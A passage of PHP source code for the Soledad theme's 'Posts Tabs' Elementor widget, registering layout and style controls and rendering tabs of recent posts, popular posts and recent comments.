		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Posts Tabs', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-tabs';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category' );
	}

	public function get_script_depends() {
		return [ 'penci_widget_tabs', 'penci_widgets_ajax' ];
	}

	protected function register_controls() {

		$this->start_controls_section( 'tabs_settings', array(
			'label' => esc_html__( 'Tabs', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'tabs_order', array(
			'label'   => __( 'Tabs Order', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'recent_popular_comments',
			'options' => [
				'recent_popular_comments' => 'Recent / Popular / Comments',
				'recent_comments_popular' => 'Recent / Comments / Popular',
				'popular_recent_comments' => 'Popular / Recent / Comments',
				'popular_comments_recent' => 'Popular / Comments / Recent ',
				'comments_popular_recent' => 'Comments / Popular / Recent ',
				'comments_recent_popular' => 'Comments / Recent / Popular ',
			]
		) );

		$this->add_control( 'tabs_style', array(
			'label'   => __( 'Tabs Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => [
				'default' => 'Default Theme Style',
				'box'     => 'Box Tabs',
			]
		) );

		$this->add_control( 'disable_recent', array(
			'label' => __( 'Hide Recent Posts Tab', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'disable_popular', array(
			'label' => __( 'Hide Popular Posts Tab', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'disable_comments', array(
			'label' => __( 'Hide Comments Tab', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->end_controls_section();


		// Section layout
		$this->start_controls_section( 'section_settings', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'stick_posts', array(
			'label'   => __( 'Ignore Sticky Posts?', 'soledad' ),
			'desc'    => 'Note that: Ignore sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.',
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes'
		) );

		$this->add_control( 'number', array(
			'label'   => __( 'Number of posts to show', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 5
		) );

		$this->add_control( 'offset', array(
			'label' => __( 'Number of offset posts', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
		) );

		$this->add_control( 'title_length', array(
			'label' => __( 'Custom words length for post titles:', 'soledad' ),
			'desc'  => 'If your post titles is too long - You can use this option for trim it. Fill number value here.',
			'type'  => Controls_Manager::NUMBER,
		) );

		$this->add_control( 'number_comments', array(
			'label'   => __( 'Number of comments to show', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 5
		) );

		$this->add_control( 'fthumb_size', array(
			'label'      => __( 'Custom Image Size for Featured Posts', 'soledad' ),
			'type'       => Controls_Manager::SELECT,
			'default'    => '',
			'options'    => $this->get_list_image_sizes( true ),
			'conditions' => [
				'relation' => 'or',
				'terms'    => [
					[
						'name'     => 'featured',
						'operator' => '==',
						'value'    => 'yes',
					],
					[
						'name'     => 'allfeatured',
						'operator' => '==',
						'value'    => 'yes',
					],
				],
			],
		) );

		$this->add_control( 'thumb_size', array(
			'label'     => __( 'Custom Image Size', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'condition' => [ 'allfeatured!' => 'yes' ],
			'options'   => $this->get_list_image_sizes( true ),
		) );

		$this->add_responsive_control( 'image_type', array(
			'label'     => __( 'Thumbnail Ratio', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array(
				'{{WRAPPER}}  .penci-wdtab-ct .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
			),
		) );

		$this->add_responsive_control( 'imgwidth', array(
			'label'     => __( 'Thumbnail Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array(
				'{{WRAPPER}}  ul.penci-wdtab-ct li .penci-image-holder.small-fix-size' => 'width: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'dotstyle', array(
			'label'   => __( 'Show Timeline Dots?', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => [
				''   => 'Hidden',
				's1' => 'Show with Color Style',
				's2' => 'Show with Hover Style',
				's3' => 'Show with Animation Style',
			]
		) );

		$this->add_control( 'movemeta', array(
			'label' => __( 'Move post meta to display above post title?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'hide_thumb', array(
			'label' => __( 'Hide Featured Image?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'thumbright', array(
			'label' => __( 'Display thumbnail on right?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'twocolumn', array(
			'label' => __( 'Display on 2 columns?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'featured', array(
			'label' => __( 'Display 1st post featured?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'featured2', array(
			'label' => __( 'Display featured post style 2', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'allfeatured', array(
			'label' => __( 'Display all post featured?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'ordernum_recent', array(
			'label' => __( 'Hide Order Numbers on Recent Tab?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'ordernum', array(
			'label' => __( 'Hide Order Numbers on Popular Tab?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'show_author', array(
			'label' => __( 'Show Author Name', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'postdate', array(
			'label' => __( 'Hide Post Date', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'show_comment', array(
			'label' => __( 'Show Comment Count', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'show_postviews', array(
			'label' => __( 'Show Post Views', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'icon', array(
			'label' => __( 'Show icon post format', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'showborder', array(
			'label' => __( 'Remove Border at The Bottom?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'row_gap', array(
			'label'     => __( 'Rows Gap Between Post Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => [
				'{{WRAPPER}} ul.penci-wdtab-ct.side-newsfeed:not(.penci-feed-2columns) li' => 'margin-bottom:calc({{SIZE}}px/2);padding-bottom:calc({{SIZE}}px/2)',
				'{{WRAPPER}} ul.penci-wdtab-ct.penci-feed-2columns li'                     => 'margin-bottom:{{SIZE}}px;'
			]
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_tabs', array(
			'label' => __( 'Tabs', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'tab_title',
			'label'    => __( 'Tab Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li a',
		) );

		$this->add_control( 'tab_title_color', array(
			'label'     => __( 'Tab Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_title_hcolor', array(
			'label'     => __( 'Tab Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_title_acolor', array(
			'label'     => __( 'Tab Title Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li.active a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_bd_color', array(
			'label'     => __( 'Tab Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li a,{{WRAPPER}} .penci_posts_tabs_widget .tabs' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_bg_color', array(
			'label'     => __( 'Tab Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'tabs_style' => 'box' ],
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li a' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_bg_hcolor', array(
			'label'     => __( 'Tab Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'tabs_style' => 'box' ],
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li a:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_bg_acolor', array(
			'label'     => __( 'Tab Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'tabs_style' => 'box' ],
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li.active a' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_abg_color', array(
			'label'     => __( 'Tab Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li.active a' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'tabs_item_size', array(
			'label'     => __( 'Tab Padding', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci_posts_tabs_widget .box-tabs .tabs ul > li a' => 'padding-top: {{SIZE}}px;padding-bottom: {{SIZE}}px;',
				'{{WRAPPER}} .penci_posts_tabs_widget .default-tabs .tabs'       => 'padding-bottom: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'tabs_title_spacing', array(
			'label'     => __( 'Tab Title Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci_posts_tabs_widget .tabs' => 'margin-bottom: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'ajaxnav', array(
			'label'   => __( 'Ajax Posts Navigation?', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''    => 'Disable',
				'nav' => 'Next/Previous Buttons',
				'btn' => 'Load More Button',
			]
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_image', array(
			'label' => __( 'Posts Typo & Color', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'fpost_title_typo',
			'label'    => __( 'Featured Post Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} ul.penci-wdtab-ct li.featured-news .side-item .side-item-text h4 a',
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'post_title_typo',
			'label'    => __( 'Post Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} ul.penci-wdtab-ct li:not(.featured-news) .side-item .side-item-text h4 a',
		) );

		$this->add_control( 'post_title_color', array(
			'label'     => __( 'Post Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text h4 a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'post_title_hcolor', array(
			'label'     => __( 'Post Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text h4 a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'post_title_tm', array(
			'label'     => __( 'Post Title Top Margin', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text h4' => 'margin-top: {{SIZE}}px;' ),
		) );

		$this->add_responsive_control( 'post_title_bm', array(
			'label'     => __( 'Post Title Bottom Margin', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text h4' => 'margin-bottom: {{SIZE}}px;' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'post_meta_typo',
			'label'    => __( 'Post Meta Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text .side-item-meta',
		) );

		$this->add_control( 'post_meta_color', array(
			'label'     => __( 'Post Meta Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text .side-item-meta,{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text .side-item-meta a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'post_meta_lcolor', array(
			'label'     => __( 'Post Meta Link Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text .side-item-meta a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'post_meta_hcolor', array(
			'label'     => __( 'Post Meta Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text .side-item-meta a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'post_meta_item_spacing', array(
			'label'     => __( 'Post Meta Items Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span:after' => 'margin: 0 {{SIZE}}px 0 {{SIZE}}px' ),
		) );

		$this->add_responsive_control( 'post_meta_tm', array(
			'label'     => __( 'Post Meta Top Margin', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta, {{WRAPPER}} .grid-post-box-meta.penci-side-item-meta.pcsnmt-above' => 'margin-top: {{SIZE}}px;' ),
		) );

		$this->add_responsive_control( 'post_meta_bm', array(
			'label'     => __( 'Post Meta Bottom Margin', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta, {{WRAPPER}} .grid-post-box-meta.penci-side-item-meta.pcsnmt-above' => 'margin-bottom: {{SIZE}}px;' ),
		) );

		$this->add_control( 'post_list_border_color', array(
			'label'     => __( 'Post Listing Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'post_counter_color', array(
			'label'     => __( 'Order Numbers Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.side-newsfeed li .number-post' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'post_counter_gcolor', array(
			'label'     => __( 'Order Numbers Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.side-newsfeed li .number-post' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'timeline_line_color', array(
			'label'     => __( 'Timeline Line Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .side-newsfeed.pctlst' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'timeline_dot_color', array(
			'label'     => __( 'Timeline Dot Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .side-newsfeed.pctlst .penci-feed:before, {{WRAPPER}} .side-newsfeed.pctlst.pctl-s2 .penci-feed:before, {{WRAPPER}} .side-newsfeed.pctlst.pctl-s3 .penci-feed:before' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'timeline_dot_acolor', array(
			'label'     => __( 'Timeline Dot Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .side-newsfeed.pctlst .penci-feed:before, {{WRAPPER}} .side-newsfeed.pctlst.pctl-s2 .penci-feed:hover:before,{{WRAPPER}} .side-newsfeed.pctlst.pctl-s3 .penci-feed:hover:after' => 'background-color: {{VALUE}};' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_comments', array(
			'label' => __( 'Comments Typo & Color', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'comments_typo',
			'label'    => __( 'Comment Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .author-info,{{WRAPPER}} .author-info a',
		) );

		$this->add_control( 'comments_tabs_color', array(
			'label'     => __( 'Comment Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .author-info' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'comments_tabs_lcolor', array(
			'label'     => __( 'Comment Link Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .author-info a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'comments_tabs_hcolor', array(
			'label'     => __( 'Comment Link Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .author-info a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'comments_tabs_gbdcolor', array(
			'label'     => __( 'Comment List Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget.el .tab-comments ul li' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'comments_tabs_spacing', array(
			'label'     => __( 'Comment List Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget.el .tab-comments ul li:not(:last-child)' => 'margin-bottom: calc({{SIZE}}px/2);padding-bottom: calc({{SIZE}}px/2);' ),
		) );

		$this->add_responsive_control( 'comments_ava_size', array(
			'label'       => __( 'Avatar Image Size', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'render_type' => 'template',
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors'   => array( '{{WRAPPER}} .penci_posts_tabs_widget .recent-comments .avatar' => 'flex: 0 0 {{SIZE}}px;' ),
		) );

		$this->add_responsive_control( 'comments_ava_bdradius', array(
			'label'     => __( 'Avatar Image Border Radius', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .recent-comments .avatar img' => 'border-radius: {{SIZE}}px;' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'post_navigation_style', array(
			'label'     => __( 'Post Navigation', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [ 'ajaxnav!' => '' ]
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'post_nav_btn_typo',
			'label'    => __( 'Button Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title, {{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button',
		) );

		$this->add_control( 'post_nav_btn_color', array(
			'label'     => __( 'Button Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bdcolor', array(
			'label'     => __( 'Button Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bgcolor', array(
			'label'     => __( 'Button Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_hcolor', array(
			'label'     => __( 'Button Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bdhcolor', array(
			'label'     => __( 'Button Border Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bghcolor', array(
			'label'     => __( 'Button Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'background-color: {{VALUE}};',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$instance        = $this->get_settings();
		$sticky          = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
		$tabs_order      = isset( $instance['tabs_order'] ) ? $instance['tabs_order'] : 'recent_popular_comments';
		$tabs_style      = isset( $instance['tabs_style'] ) ? $instance['tabs_style'] : 'default';
		$ptfsfe          = isset( $instance['ptfsfe'] ) ? absint( $instance['ptfsfe'] ) : '';
		$ptfs            = isset( $instance['ptfs'] ) ? absint( $instance['ptfs'] ) : '';
		$pmfs            = isset( $instance['pmfs'] ) ? absint( $instance['pmfs'] ) : '';
		$row_gap         = isset( $instance['row_gap'] ) ? absint( $instance['row_gap'] ) : '';
		$imgwidth        = isset( $instance['imgwidth'] ) ? absint( $instance['imgwidth'] ) : '';
		$number_comments = isset( $instance['number_comments'] ) ? $instance['number_comments'] : 5;
		$tabs_icon       = isset( $instance['tabs_icon'] ) ? $instance['tabs_icon'] : false;
		$rand            = rand( 1000, 10000 );
		$tabs_order      = explode( '_', $tabs_order );
		$class           = $tabs_style . '-tabs';
		$this->markup_block_title( $instance, $this );
		?>
        <div class="widget penci_posts_tabs_widget el">
            <div class="penc-posts-tabs <?php echo esc_attr( $class ); ?>" id="pc-wpt-<?php echo $rand; ?>">
                <div class="tabs">
                    <ul>
						<?php $count = 1;
						foreach ( $tabs_order as $tab ) {
							if ( isset( $instance[ 'disable_' . $tab ] ) && ! $instance[ 'disable_' . $tab ] ) {
								$class = $count == 1 ? ' active' : '';
								echo '<li class="li-tab-' . $tab . $class . '" data-tab="tab-' . $tab . '"><a aria-label="Tab" href="#">' . penci_get_setting( 'penci_trans_' . $tab ) . '</a></li>';
								$count ++;
							}
						} ?>
                    </ul>
                </div>
                <div class="tabs-content">
					<?php $tcount = 1;
					foreach ( $tabs_order as $tab ) {
						$check = $tcount == 1;
						if ( isset( $instance[ 'disable_' . $tab ] ) && ! $instance[ 'disable_' . $tab ] ) {
							if ( $tab == 'popular' || $tab == 'recent' ) {
								$this->show_tabs_posts( $instance, $tab, $check );
							} else {
								$size_a = isset( $instance['comments_ava_size']['size'] ) ? $instance['comments_ava_size']['size'] : 70;
								$this->show_comment_posts( $instance, $number_comments, $size_a, $check );
							}
						}
						$tcount ++;
					} ?>
                </div>
            </div>
        </div>
		<?php
	}

	public function show_comment_posts( $settings, $number = 5, $size = 70, $is_active = false ) {
		$comments           = get_comments( [
			'number' => $number,
			'status' => 'approve',
		] );
		$class              = $is_active ? 'active' : 'inactive';
		$comments_count     = wp_count_comments();
		$comments_max_pages = $comments_count->approved > $number ? ceil( $comments_count->approved / $number ) : 1;
		?>
        <div class="tab-content-wrapper tab-comments recent-comments <?php echo $class; ?>">
			<?php if ( $comments ) { ?>
            <ul data-max="<?php echo $comments_max_pages; ?>" data-paged="1"
                data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_comments' ); ?>"
                data-action="penci_posts_tabs_widget_comments_ajax">
				<?php foreach ( $comments as $comment ) {
					if ( isset( $comment->comment_author_email ) && $comment->comment_author_email ) {
						$usergravatar = 'http://www.gravatar.com/avatar/' . md5( $comment->comment_author_email ) . '?s=' . $size;
					} else {
						$usergravatar = get_avatar_url( $comment->user_id );
					}
					echo '<li>
						        <a href="' . get_author_posts_url( $comment->user_id ) . '" class="avatar"><img src="' . $usergravatar . '" alt=""></a>
						        <div class="author-info"><a href="' . get_author_posts_url( $comment->user_id ) . '">' . $comment->comment_author . '</a> on <a href="' . get_permalink( $comment->comment_post_ID ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a></div>
						     </li>';
				} ?>
            </ul>
			<?php
			if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] == 'btn' ) {
				?>
                <div class="penci-pagination penci-ajax-more pcwg-lposts">
                    <a class="penci-ajax-more-button pc-tabsajax-btn penci-wgajx-btn"
                       href="#" aria-label="More Posts">
                        <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_comments' ); ?></span><span
                                class="ajaxdot"></span><i
                                class="penci-faicon fa fa-refresh"></i> </a>
                </div>
				<?php
			} else if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] == 'nav' ) { ?>
                <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                    <span class="pcajx-btn penci-wgajx-btn pc-tabsajax-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                    <span class="pcajx-btn penci-wgajx-btn pc-tabsajax-btn next"><?php echo '<span class="pcnav-title">' . penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                </div>
				<?php
			}
			if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] ) {
				?>
                <div class="pcwgajx-ld-wrapper">
					<?php echo penci_get_html_animation_loading( 'df' ); ?>
                </div>
				<?php
			}
		} else {
				echo '<p>' . penci_get_setting( 'penci_trans_no_comments' ) . '</p>';
			?>
			<?php } ?>
        </div>
		<?php
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

